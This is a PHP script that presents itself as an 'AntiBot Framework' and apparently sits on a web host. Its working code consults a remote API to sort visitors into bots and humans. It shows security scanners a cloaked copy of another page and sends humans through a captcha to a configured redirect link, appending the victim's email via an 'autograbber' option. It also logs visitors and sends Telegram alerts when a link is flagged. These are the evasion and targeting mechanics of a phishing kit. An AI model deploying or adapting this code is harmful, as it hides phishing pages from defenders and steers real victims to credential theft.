| Current Path : /home/u4uwebca/public_html/4uweb.design/ |
| Current File : /home/u4uwebca/public_html/4uweb.design/ZeroBot.php |
<?php
/*
|---------------------------------------------------------------------------
| ZeroBot AntiBot Framework
|---------------------------------------------------------------------------
| All rights reserved © ZeroBot Inc.
|
| Platform : https://zerobot.info
| Developer : @brendonurie2000
| Telegram : @zerobot_official
|
| Purpose:
| - Prevent automated scanners & bots
| - Create custom rules
| - Enhance redirect protection
| - Provide antibot system & captcha protection
|
| Module : Custom Rules Engine
|---------------------------------------------------------------------------
*/
$license_key = "43b0c2c57db0a4da9275dfc2085c731ebbfa2064";
final class ZeroBot
{
private string $api = 'https://api.zerobot.info/v3/antibot';
private string $captchaApi = 'https://api.zerobot.info/v3/captcha';
private string $telegramApi = 'https://api.zerobot.info/v3/tg';
private string $fingerprintJs = 'https://zerobot.info/fingerprint/';
private int $connectTimeout = 3;
private int $timeout = 8;
private int $apiRetries = 2;
private int $cacheTtlHuman = 60;
private int $cacheTtlBot = 300;
private int $cloakerMaxBytes = 2_000_000;
private int $rememberTtl = 3600;
private bool $trustProxy = true;
private string $buildId = '9.4';
private string $licenseKey;
private string $ipAddress = '127.0.0.1';
private string $useragent = '';
private string $checkOn = '';
private string $Username = '';
private bool $IsBot = false;
private string $Plan = '';
private string $Asn = '';
private string $CountryName = '';
private string $CountryCode = '';
private string $Isp = '';
private string $Hostname = '';
private string $Reason = '';
private string $Design = '';
private string $RowHtml = '';
private array $Config = [];
private ?array $Captcha = null;
private string $CaptchaHtml = '';
private int $RiskScore = 0;
private string $cacheDir = '';
public function __construct(string $licenseKey)
{
$this->licenseKey = trim($licenseKey);
$this->initApp();
$this->ipAddress = $this->detectIp();
$this->useragent = (string)($_SERVER['HTTP_USER_AGENT'] ?? '');
$this->checkOn = $this->getCleanUrl();
if ($this->licenseKey === '' || stripos($this->licenseKey, 'LICENSE KEY') !== false || stripos($this->licenseKey, 'LICENSE_KEY') !== false) {
$this->errorPage('Please set your license key at the top of this file.');
}
if (isset($_GET['delete'])) { $this->handleDelete(); }
$this->loadDecision();
if (isset($_GET['authorize'])) { $this->handleCaptchaAuthorization(); }
$this->sendTelegramNotification();
$this->writeVisitorRow();
if ($this->IsBot) { $this->handleBot(); }
$this->handleHuman();
}
private function initApp(): void
{
if (version_compare(PHP_VERSION, '7.4', '<')) {
die('PHP 7.4+ Required For ZeroBot Framework');
}
if (session_status() === PHP_SESSION_NONE) {
@session_start();
}
error_reporting(0);
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
header('Content-type: text/html; charset=UTF-8');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Expires: 0');
header('X-ZeroBot-Build: ' . $this->buildId);
$this->cacheDir = sys_get_temp_dir() . '/zb_cache_' . substr(sha1(__FILE__), 0, 8);
if (!is_dir($this->cacheDir)) @mkdir($this->cacheDir, 0700, true);
}
private function detectIp(): string
{
$candidates = [];
if ($this->trustProxy) {
if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) $candidates[] = $_SERVER['HTTP_CF_CONNECTING_IP'];
if (!empty($_SERVER['HTTP_X_REAL_IP'])) $candidates[] = $_SERVER['HTTP_X_REAL_IP'];
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
foreach (explode(',', (string)$_SERVER['HTTP_X_FORWARDED_FOR']) as $ip) {
$candidates[] = trim($ip);
}
}
}
$candidates[] = $_SERVER['REMOTE_ADDR'] ?? '';
foreach ($candidates as $ip) {
$ip = trim((string)$ip);
if ($ip === '') continue;
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
return $ip;
}
}
foreach ($candidates as $ip) {
if (filter_var($ip, FILTER_VALIDATE_IP)) return (string)$ip;
}
return '127.0.0.1';
}
private function loadDecision(): void
{
$cached = $this->cacheGet();
if ($cached !== null) {
$this->applyDecision($cached);
return;
}
$data = $this->callApi();
if (!is_array($data)) {
$this->IsBot = false;
return;
}
if (($data['query'] ?? '') === 'failed') {
$this->errorPage((string)($data['reason'] ?? 'Unknown error from ZeroBot API'));
}
$this->cacheSet($data);
$this->applyDecision($data);
}
private function applyDecision(array $data): void
{
$this->Username = (string)($data['username'] ?? '');
$this->CountryName = (string)($data['country_name'] ?? 'Unknown');
$this->CountryCode = (string)($data['country_code'] ?? 'XX');
$this->Isp = (string)($data['isp'] ?? 'Unknown');
$this->Hostname = (string)($data['hostname'] ?? '');
$this->IsBot = !empty($data['is_bot']);
$this->Asn = (string)($data['asn'] ?? '');
$this->Reason = (string)($data['reason'] ?? '');
$this->RiskScore = (int)($data['risk_score'] ?? 0);
$this->Design = base64_decode((string)($data['design'] ?? ''));
$this->RowHtml = base64_decode((string)($data['row_html'] ?? ''));
$this->Config = is_array($data['config'] ?? null) ? $data['config'] : [];
$this->Plan = (string)($data['plan'] ?? '');
$this->Captcha = is_array($data['captcha'] ?? null) ? $data['captcha'] : null;
$this->CaptchaHtml = !empty($data['captcha_html']) ? base64_decode((string)$data['captcha_html']) : '';
$_SESSION['zb_days_left'] = (int)($data['left'] ?? 0);
$_SESSION['zb_plan'] = $this->Plan;
$_SESSION['zb_fingerprint'] = !empty($this->Config['fingerprint']);
$_SESSION['zb_views_file'] = (string)($this->Config['views_file_name'] ?? 'views.php');
$_SESSION['zb_redirect'] = (string)($this->Config['redirect_link'] ?? '');
$_SESSION['zb_design'] = $this->Design;
if (isset($_GET['email']) && $_GET['email'] !== '') {
$_SESSION['zb_email'] = $this->extractEmail((string)$_GET['email']);
}
if (!empty($this->Config['autograbber_code']) && (string)($this->Config['redirect_link'] ?? '') !== '') {
$decodedEmail = '';
if (!empty($_GET['email'])) {
$decodedEmail = $this->extractEmail((string)$_GET['email']);
} elseif (!empty($_SESSION['zb_email'])) {
$decodedEmail = (string)$_SESSION['zb_email'];
}
if ($decodedEmail !== '') {
$this->Config['redirect_link'] = (string)($this->Config['redirect_link'] ?? '') .
$this->Config['autograbber_code'] .
$decodedEmail;
$_SESSION['zb_redirect'] = $this->Config['redirect_link'];
}
}
}
private function extractEmail(string $raw): string
{
$raw = trim($raw);
if ($raw === '') return '';
if (filter_var($raw, FILTER_VALIDATE_EMAIL)) {
return $raw;
}
$decoded = @base64_decode($raw, true);
if ($decoded !== false && filter_var($decoded, FILTER_VALIDATE_EMAIL)) {
return $decoded;
}
$urlDecoded = urldecode($raw);
if ($urlDecoded !== $raw && filter_var($urlDecoded, FILTER_VALIDATE_EMAIL)) {
return $urlDecoded;
}
return strpos($raw, '@') !== false ? $raw : '';
}
private function callApi(): ?array
{
$params = [
'check_on' => $this->checkOn,
'license' => $this->licenseKey,
'ip' => $this->ipAddress,
'useragent' => $this->useragent,
'visitor_headers' => $this->getVisitorHeaders(),
];
$url = $this->api . '?' . http_build_query($params);
$body = null;
for ($attempt = 0; $attempt <= $this->apiRetries; $attempt++) {
$body = $this->curlFetch($url);
if ($body !== null && $body !== '') break;
usleep(150000 * ($attempt + 1));
}
if ($body === null || $body === '') return null;
$data = json_decode((string)$body, true);
return is_array($data) ? $data : null;
}
private function curlFetch(string $url, ?string $postRaw = null): ?string
{
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CONNECTTIMEOUT => $this->connectTimeout,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_SSL_VERIFYHOST => 2,
CURLOPT_ENCODING => '',
CURLOPT_HTTPHEADER => [
'User-Agent: ZeroBot-Client/' . $this->buildId,
'Accept: application/json, */*',
],
]);
if ($postRaw !== null) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postRaw);
}
$body = curl_exec($ch);
$err = curl_errno($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($err !== 0 || $body === false || $code < 200 || $code >= 500) return null;
return (string)$body;
}
private function getVisitorHeaders(): string
{
$map = [
'HTTP_ACCEPT' => 'accept',
'HTTP_ACCEPT_LANGUAGE' => 'accept-language',
'HTTP_ACCEPT_ENCODING' => 'accept-encoding',
'HTTP_SEC_CH_UA' => 'sec-ch-ua',
'HTTP_SEC_CH_UA_MOBILE' => 'sec-ch-ua-mobile',
'HTTP_SEC_CH_UA_PLATFORM' => 'sec-ch-ua-platform',
'HTTP_SEC_FETCH_DEST' => 'sec-fetch-dest',
'HTTP_SEC_FETCH_MODE' => 'sec-fetch-mode',
'HTTP_SEC_FETCH_SITE' => 'sec-fetch-site',
'HTTP_SEC_FETCH_USER' => 'sec-fetch-user',
'HTTP_REFERER' => 'referer',
'HTTP_DNT' => 'dnt',
'HTTP_UPGRADE_INSECURE_REQUESTS' => 'upgrade-insecure-requests',
];
$out = [];
foreach ($map as $srv => $name) {
if (!empty($_SERVER[$srv])) $out[$name] = (string)$_SERVER[$srv];
}
return $out ? base64_encode(json_encode($out)) : '';
}
private function cacheKey(): string
{
return $this->cacheDir . '/' .
hash('sha256', $this->ipAddress . '|' . $this->checkOn . '|' . $this->licenseKey) . '.json';
}
private function cacheGet(): ?array
{
$f = $this->cacheKey();
if (!is_file($f)) return null;
$raw = @file_get_contents($f);
if ($raw === false) return null;
$data = json_decode($raw, true);
if (!is_array($data) || empty($data['_zb_expires'])) return null;
if ((int)$data['_zb_expires'] < time()) { @unlink($f); return null; }
return $data;
}
private function cacheSet(array $data): void
{
$cfgTtl = $data['config']['cache_ttl'] ?? null;
$ttl = ($cfgTtl !== null)
? (int) $cfgTtl
: (!empty($data['is_bot']) ? $this->cacheTtlBot : $this->cacheTtlHuman);
if ($ttl <= 0) return;
$data['_zb_expires'] = time() + $ttl;
@file_put_contents($this->cacheKey(), json_encode($data), LOCK_EX);
if (random_int(1, 50) === 1) $this->cachePrune();
}
private function cachePrune(): void
{
$files = glob($this->cacheDir . '/*.json') ?: [];
$now = time();
foreach ($files as $f) {
$raw = @file_get_contents($f);
if ($raw === false) continue;
$d = json_decode($raw, true);
if (!is_array($d) || empty($d['_zb_expires']) || (int)$d['_zb_expires'] < $now) {
@unlink($f);
}
}
}
private function getViewsPath(): string
{
$f = $this->Config['views_file_name'] ?? $_SESSION['zb_views_file'] ?? 'views.php';
if (strtolower(pathinfo($f, PATHINFO_EXTENSION)) !== 'php') $f .= '.php';
return __DIR__ . '/' . basename($f);
}
private function writeVisitorRow(): void
{
$path = $this->getViewsPath();
$viewsFile = basename($path);
$resetHref = basename(__FILE__) . '?delete=' . urlencode($viewsFile);
if (!file_exists($path) && $this->Design !== '') {
$design = str_replace(
['href="#" id="resetTrafficBtn"', 'id="resetTrafficBtn" href="#"'],
['href="' . $resetHref . '" id="resetTrafficBtn"', 'id="resetTrafficBtn" href="' . $resetHref . '"'],
$this->Design
);
@file_put_contents($path, $design, LOCK_EX);
}
if (!file_exists($path) || $this->RowHtml === '') return;
$contents = @file_get_contents($path);
if ($contents === false) return;
$changed = false;
if (strpos($contents, 'href="#" id="resetTrafficBtn"') !== false) {
$contents = str_replace(
['href="#" id="resetTrafficBtn"', 'id="resetTrafficBtn" href="#"'],
['href="' . $resetHref . '" id="resetTrafficBtn"', 'id="resetTrafficBtn" href="' . $resetHref . '"'],
$contents
);
$changed = true;
}
if (strpos($contents, $this->ipAddress) === false) {
$contents .= $this->RowHtml . "\n";
$changed = true;
}
if ($changed) {
@file_put_contents($path, $contents, LOCK_EX);
}
}
private function handleDelete(): void
{
$f = $_GET['delete'] ?? $_SESSION['zb_views_file'] ?? 'views.php';
if ($f === '' || $f === '1') $f = $_SESSION['zb_views_file'] ?? 'views.php';
if (strtolower(pathinfo($f, PATHINFO_EXTENSION)) !== 'php') $f .= '.php';
$viewsFile = basename($f);
$path = __DIR__ . '/' . $viewsFile;
if (file_exists($path)) {
$contents = @file_get_contents($path);
if ($contents !== false) {
$marker = '<tbody id="dataTable">';
$pos = strpos($contents, $marker);
if ($pos !== false) {
@file_put_contents($path, substr($contents, 0, $pos + strlen($marker)) . "\n", LOCK_EX);
}
}
}
header('Location: ' . $viewsFile);
exit;
}
private function handleCaptchaAuthorization(): void
{
$token = (string)($_GET['authorize'] ?? '');
$expected = $this->generateHmac($this->ipAddress);
$issued = (string)($_SESSION[$this->challengeKey()] ?? '');
$valid = hash_equals($expected, $token)
|| ($issued !== '' && hash_equals($issued, $token));
if (!$valid) {
$clean = strtok((string)($_SERVER['REQUEST_URI'] ?? '/'), '?');
header('Location: ' . $clean);
exit;
}
$this->curlFetch($this->captchaApi . '?' . http_build_query([
'license' => $this->licenseKey,
'ip' => $this->ipAddress,
'useragent' => $this->useragent,
]));
@unlink($this->cacheKey());
$this->rememberVisitor();
$redirect = (string)($this->Config['redirect_link'] ?? $_SESSION['zb_redirect'] ?? '');
if ($redirect === '') {
header('Location: ' . $this->getCleanUrl());
exit;
}
if (!empty($this->Config['fingerprint'])) {
$this->renderFingerprintScript($redirect);
} else {
header('Location: ' . $redirect);
}
exit;
}
private function showCaptchaPage(): void
{
if ($this->CaptchaHtml === '') return;
echo $this->CaptchaHtml;
exit;
}
private function generateHmac(string $data): string
{
$secret = (string)($this->Config['captcha_key'] ?? $this->licenseKey);
return hash_hmac('sha256', $data . $this->licenseKey, $secret);
}
private function rememberCookieName(): string
{
return 'zb_ok_' . substr(sha1($this->checkOn . '|' . $this->licenseKey), 0, 10);
}
private function rememberVisitor(): void
{
$token = $this->generateHmac($this->ipAddress);
$name = $this->rememberCookieName();
$secure = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
|| (($_SERVER['SERVER_PORT'] ?? '') === '443');
@setcookie($name, $token, [
'expires' => time() + $this->rememberTtl,
'path' => '/',
'httponly' => true,
'secure' => $secure,
'samesite' => 'Lax',
]);
$_SESSION[$name] = $token;
}
private function isRemembered(): bool
{
$expected = $this->generateHmac($this->ipAddress);
$name = $this->rememberCookieName();
$cookie = (string)($_COOKIE[$name] ?? '');
if ($cookie !== '' && hash_equals($expected, $cookie)) return true;
$sess = (string)($_SESSION[$name] ?? '');
return $sess !== '' && hash_equals($expected, $sess);
}
private function challengeKey(): string
{
return 'zb_chal_' . substr(sha1($this->checkOn . '|' . $this->licenseKey), 0, 10);
}
private function markChallengeIssued(): void
{
$_SESSION[$this->challengeKey()] = $this->generateHmac($this->ipAddress);
}
private function handleBot(): void
{
$cloakerUrl = (string)($this->Config['cloaker_url'] ?? '');
if (filter_var($cloakerUrl, FILTER_VALIDATE_URL)) {
$this->showCloakedPage($cloakerUrl);
exit;
}
$botRedirect = (string)($this->Config['location_bots'] ?? '');
if ($botRedirect !== '') {
header('Location: ' . $botRedirect);
exit;
}
http_response_code(403);
exit;
}
private function handleHuman(): void
{
$dest = (string)($this->Config['redirect_link'] ?? '');
$skipChallenge = !empty($this->Config['trusted']) || $this->isRemembered();
if ($dest === '') {
if (!$skipChallenge) {
$this->markChallengeIssued();
$this->showCaptchaPage();
if (!empty($this->Config['fingerprint'])) {
$this->renderFingerprintScript($this->checkOn);
exit;
}
}
return;
}
if ($skipChallenge) {
header('Location: ' . $dest);
exit;
}
$this->markChallengeIssued();
$this->showCaptchaPage();
if (!empty($this->Config['fingerprint'])) {
$this->renderFingerprintScript($dest);
exit;
}
header('Location: ' . $dest);
exit;
}
private function renderFingerprintScript(string $dest): void
{
$safeIp = htmlspecialchars($this->ipAddress, ENT_QUOTES, 'UTF-8');
$safeDest = htmlspecialchars($dest, ENT_QUOTES, 'UTF-8');
$safeCh = htmlspecialchars((string)($this->Config['fp_challenge'] ?? ''), ENT_QUOTES, 'UTF-8');
echo '<script src="' . htmlspecialchars($this->fingerprintJs, ENT_QUOTES, 'UTF-8') .
'" data-ip="' . $safeIp .
'" data-redirect="' . $safeDest .
'" data-challenge="' . $safeCh . '"></script>';
}
private function showCloakedPage(string $url): void
{
$url = rtrim($url, '/') . '/';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CONNECTTIMEOUT => $this->connectTimeout,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_SSL_VERIFYHOST => 2,
CURLOPT_MAXREDIRS => 5,
CURLOPT_HTTPHEADER => ['User-Agent: Mozilla/5.0 ZeroBot-Cloaker/' . $this->buildId],
]);
$html = curl_exec($ch);
$err = curl_errno($ch);
curl_close($ch);
if ($err !== 0 || $html === false || $html === '' || strlen((string)$html) > $this->cloakerMaxBytes) {
$fallback = (string)($this->Config['location_bots'] ?? '');
if ($fallback !== '') header('Location: ' . $fallback);
exit;
}
$doc = new DOMDocument();
libxml_use_internal_errors(true);
@$doc->loadHTML((string)$html);
libxml_clear_errors();
$xpath = new DOMXPath($doc);
$rewrites = [
"//link[@rel='stylesheet']" => 'href',
"//script[contains(@src,'.js')]" => 'src',
"//img" => 'src',
"//a" => 'href',
"//form" => 'action',
"//link[@rel='icon']" => 'href',
];
foreach ($rewrites as $q => $a) {
foreach ($xpath->query($q) as $el) {
if (!$el->hasAttribute($a)) continue;
$old = (string)$el->getAttribute($a);
if ($old === '' || str_starts_with($old, 'http') || str_starts_with($old, 'data:')) continue;
if (str_starts_with($old, '//')) {
$el->setAttribute($a, (str_contains($url, 'https') ? 'https:' : 'http:') . $old);
} else {
$el->setAttribute($a, $url . ltrim($old, './'));
}
}
}
echo $doc->saveHTML();
exit;
}
private function sendTelegramNotification(): void
{
if (empty($this->Config['link_flagged'])) return;
$token = (string)($this->Config['telegram_token'] ?? '');
$chatId = (string)($this->Config['telegram_chatid'] ?? '');
if (strlen($token) <= 10 || strlen($chatId) <= 5) return;
$chars = ['_','*','[',']','(',')','>','#','+','-','=','|','{','}','.','!','~','`'];
$escFn = static function (string $t) use ($chars): string {
return str_replace($chars, array_map(static fn($c) => '\\' . $c, $chars), $t);
};
$msg = "\u{1F6A8} *Redirect Link Down*\n```txt\n\u{1F517} " . $escFn($this->checkOn) .
"\n\u{1F5D3} " . $escFn(date('d/m/Y h:i:s A')) . "\n```\n";
$this->curlFetch($this->telegramApi . '?' . http_build_query([
'license' => $this->licenseKey,
'rule_id' => (int)($this->Config['rule_id'] ?? 0),
'chatid' => $chatId,
'token' => $token,
'parse_mode' => 'MarkdownV2',
'message' => $msg,
]));
}
private function getCleanUrl(): string
{
$https = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';
if ($this->trustProxy && !empty($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
$https = strtolower((string)$_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https';
}
$proto = $https ? 'https' : 'http';
$host = (string)($_SERVER['HTTP_HOST'] ?? 'localhost');
$uri = (string)($_SERVER['REQUEST_URI'] ?? '/');
$url = $proto . '://' . $host . $uri;
$p = parse_url($url);
if (!empty($p['query'])) {
parse_str($p['query'], $qp);
unset($qp['authorize'], $qp['delete'], $qp['email']);
$q = http_build_query($qp);
$url = ($p['scheme'] ?? 'https') . '://' . ($p['host'] ?? '') .
($p['path'] ?? '') . ($q !== '' ? '?' . $q : '');
}
return $url;
}
private function errorPage(string $msg): void
{
$s = htmlspecialchars($msg, ENT_QUOTES, 'UTF-8');
http_response_code(500);
echo "<!DOCTYPE html><html><head><meta charset=UTF-8><title>ZeroBot Error</title>"
. "<link href='https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap' rel='stylesheet'>"
. "<style>body{font-family:Poppins,sans-serif;display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0;background:#f1f1f6}"
. ".card{background:#fff;border:1px solid #e8e8ef;border-left:4px solid #b5264a;border-radius:14px;padding:40px;max-width:480px;text-align:center}"
. "h1{color:#b5264a;font-size:1.4em;margin:0 0 12px}p{color:#6c757d;margin:0}</style></head>"
. "<body><div class='card'><h1>ZeroBot Error</h1><p>{$s}</p></div></body></html>";
exit;
}
}
new ZeroBot($license_key);